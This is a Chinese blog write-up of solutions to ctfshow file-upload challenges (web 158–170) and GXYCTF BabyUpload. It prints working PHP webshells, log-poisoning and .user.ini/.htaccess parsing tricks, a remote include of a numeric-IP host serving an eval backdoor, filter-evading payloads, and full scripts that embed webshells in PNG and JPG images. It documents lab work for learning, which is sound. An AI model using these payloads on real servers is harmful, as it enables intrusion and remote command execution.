ctfshow文件上传漏洞做题记录

ctfshow文件上传漏洞做题记录

前言:之前发的博客已经做了文件上传漏洞的一些做题,今天来记录一些理论的知识以及之前没做完的题

1.1 前置基础知识

检测层面:前端和后端

检测内容 : 文件头 完整性,二次渲染等

检测后缀: 黑名单 白名单 MIME检测等

1.2 ctfshow web 158

相比前几个题,这个题还多过滤了() 这时候之前的后门就没法用了,我们想要调用eval函数总是需要括号,这时

候考虑直接输出我们的flag,但是括号又不能用了,该如何解决呢? 这时候就要使用反引号了。

php中反引号会将其中的内容放在system()中执行,但需要注意的是执行的结果并不会自己输出,所以我们要手动

输出。所以我们根据此原理我们可以写出后门

<?=`tac ../f*`?>

1.3 ctfshow web 159

payload和上一题没有任何区别,应该是加了点过滤,秒了

1.4 ctfshow web 160

本题过滤掉了反斜杠,我们需要更换思路了

我们已知在nginx下会将请求的Ua头记录在默认的日志文件中,那我们将后门代码写入ua头,然后包含日志文件即

可实现后门的写入。

在ngnix下日志记录文件存储于 /var/log/nginx/access.log

因此我们有了payload的写法

<?include"/var/lo"."g/nginx/access.lo"."g"?>

将payload写入a.png,利用.user.ini包含a.png,然后a.png中的代码包含了日志文件,然后在随便上传一个图片,

或者访问一下upload,直接在ua头处直接写入

<?=`tac ../fla*`?>

然后访问upload/下即可获得flag

1.5 ctfshow web 161

本题除了上面的过滤,还设置了对文件头的过滤

文件头是位于文件开头的一段数据,操作系统通过识别文件头,可以识别文件的类型,并决定用何种程序来打开该

文件。在本题中只有gif文件的文件头能通过前端验证gif的文件头为GIF89a

其余步骤和上一题相同。

1.6 ctfshow web 162

这题有点离谱,把小数点过滤了,之前的payload也无法解决了,但是我们的.user.ini中的包含并不一定得是具

体的文件名,也可也是文件后缀

GIF89a
auto_prepend_file=png

比如我们这么写,可以把所有的Png文件包含进去

但是我们的后门文件怎么写入呢?似乎无论如何都需要带点。

我们或许会想到远程文件包含,即

<?php
include"example.com/a.txt"    
?>

但还是有小数点,这时候就考虑进行将后门写入index.php,然后将ip转数字,即将ip地址转为一串数字,直接访

问数字就可以访问代表的网站

以我的个人网站为例子,我在index.php写入了

<?php
@eval($_POST["a"]);
?>

后门程序就为:

GIF89a
<?=include"http://142749486/"?>

将其上传时发送的数据包中的文件名改为png即可实现包含。

1.7 ctfshow web 163

此题和上题差不多,但区别在于加了删除检测,上传的文件如果存在疑似后门代码就会进行删除。

我们解决方式也简单,既然上传会删除,那我们不上传包含代码就行。

GIF89a
auto_prepend_file=http://142749486/

直接上传.user.in将远程后门文件地址写进文件名中,上传后直接包含进去,由二次包含转换为一次包含。

由此题进行一下延申,此题的文件删除是检测是否有后门代码,但还有一种题是对上传的文件进行删除,但是可以

进行上传,对于这种类型就需要进行条件竞争

条件竞争: 在文件上传之前就一直对url进行post,传入创建后门代码的php程序,然后在不断的post时将初始后

门文件上传,在刚上传的瞬间还未进行删除,我们传递的post数据已经发送,后门程序随即被生成,之后即使原

程序被删除,我们也成功写入了后门程序

1.8 ctfshow web 164

本题考查的知识点是二次渲染,什么是二次渲染?就是服务器会对你传入的图片进行处理,增加,删除等操作,会

导致写入的后门代码失效.

面对这种类型,我们怎么去渗透呢?既然二次渲染会对文件内容进行部分更改,我们把后门代码写入到文件未被修

改的部分即可,但在本题中,手工写入代码后无法正常上传,这时候就应该使用脚本去生成图片了。

<?php
$p = array(
   0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
   0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
   0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
   0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
   0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
   0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
   0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
   0x66, 0x44, 0x50, 0x33
);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y + 1];
   $b = $p[$y + 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, './2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

我们使用该脚本生成的包含后门的png文件再进行上传

但是上传的是png格式的后门代码,并不会被服务器解析,我们应该如何去利用呢?观察上传后的这个url

http://c04f3366-21ce-4d57-8d24-7c2c1fad1f69.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png

发现他并不是直接访问而是利用传参传入文件名,这存在一个图片文件包含点,我们观察一下我们写的图片马,

payload就有了思路:

http://c04f3366-21ce-4d57-8d24-7c2c1fad1f69.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system

然后post发送 1=tac flag.php抓包,即可在响应中看见flag

1.9 ctfshow web 165

这题考察的也是二次渲染,这里总结一下二次渲染的判断方式

1: 通过文件上传前后的内容变换来判断

2 : 通过body中是否存在关键信息判断,比如本题中如果抓包,就能看见Body中存在gd-jpeg v1的字符,这是

php中的库,专门用来对图片进行二次渲染

本题是只能上传jpg,对jpg进行二次渲染

跟上一题一样同样存在图片文件包含点,我们任然通过脚本生成图片马,新的脚本如下:

<?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

我们手动写入一句话木马由于不知道正确写入的位置,很难找到可以写入的点,所以我们要使用脚本去写入。

该脚本不像上一个脚本,直接运行就可以生成对应的文件马,本脚本是在原有可上传jpg文件的基础上加入一句话

木马,并对图片进行修改,使用方式也有所不同。

php.exe 脚本路径 原图片路径

第一行是我们利用的函数,上传成功后访问图片地址,post发送

1=system("tac flag.php");即可获得flag

2.0 ctfshow web 166

这题和前几题没有什么区别,只不过上传的文件由jpg,php变成zip罢了,而且不是图像则不存在二次渲染,直接

写入后门代码,利用文件包含点进行命令执行即可。

我们先随便上传一个.zip文件,抓包将文件内容改成一句话木马,比如

<?=eval($_POST["a"]);?>

上传成功后点击下载文件,抓包获得下载地址

然后直接post数据 :system("tac ../flag.php"); 抓包查看即可在数据包中看到flag.

先通过ls查看到了flag地址,再tac输出的。

2.1 ctfshow web 167

此题的hint上写了httpd,这是apache软件包的名字,和本题我们要用到的htaccess有一定的关系,htaccess是分

布式配置文件,影响着文件的解析判断

.htaccess文件的主要功能包括实现网页301重定向、自定义404错误页面、改变文件扩展名、允许或阻止特定的用

户或目录的访问、禁止目录列表、配置默认文档等。它也可以用来实现URL重写,使URL更加友好,有利于搜索引

擎优化。

想要使用.htaccess的功能,首先要去httpd.conf下进行开启,这就是本题hint的来源,一般来说.htaccess只能作

用于appache 但通过设置我们就可以再ngaix下使用.htaccess。对于本题来说,我们用它干什么呢?我们利

用.htaccess将png当作php来进行解析

本题的环境已经设置好了,使得ngaix支持.htaccess

我们正式开始做这道题

先上传个图片马,和之前一样,由于是注意要是.jpg

里面就写<?=eval($_POST["a"]);?>

再上传一张图片,抓包将文件名改成.htaccess

将内容改成 AddType application/x-httpd-php .jpg 即将 jpg解析为php

都解析为php,直接当后门传参即可获得flag

2.2 ctfshow web 168

本题的考点是后门免杀

本题中直接可以上传Php文件,但是会对内容进行过滤

我们如何解决呢?答案是利用php特性将payload进行分割拼接,这样写入payload上传即可,这种绕过方法还是很

值得学习一下的

payload:

<?php $a="syste"."m"; $a("tac ../flagaa.php");?>

这关的flag文件为flagaa.php

2.3 ctfshow web 169 170

本题和之前的日志包含的题思路差不多,区别就是没有index.php,一开始上传目录没有php文件,.user.ini

法包含进php文件中,解决方式就是先上传index.php 再上传.user.ini进行日志包含即可(远程文件包含也可

以),index.php由于存在过滤,所以不能直接将内容传到index.php中

注意,170前端的格式验证为zip ,后端对content type要求为image/png 过滤把<>给过滤掉了,所以直接

在.user.ini中这样写

auto_prepend_file=/var/log/nginx/access.log

然后再和之前一样,访问upload下的index.php,在ua头里写入一句话木马即可获取flag.

[GXYCTF2019]BabyUpload

基础的文件上传漏洞,通过尝试发现对content-type进行了限制,只能为image/jpeg形式,

而且对后缀为php的文件做了黑名单检测,对<?进行了过滤,上传目录上没有php文件,这

就挡住了我们很多写入后门方法,但是.htaccess可以正常使用,我们便以此为思路,尝试写

入后门,首先我们需要解决的是<?的过滤,既然把它给过滤了,我们这使用一种新的绕过方

式,即js绕过,具体的一句话木马如下:

<script language="php">eval($_POST['a']);</script>

.htaccess和之前相同

AddType application/x-httpd-php .jpg

通过蚁剑连接服务器,拿下flag.

posted @ 2024-03-08 01:04  折翼的小鸟先生  阅读(6)  评论(0编辑  收藏  举报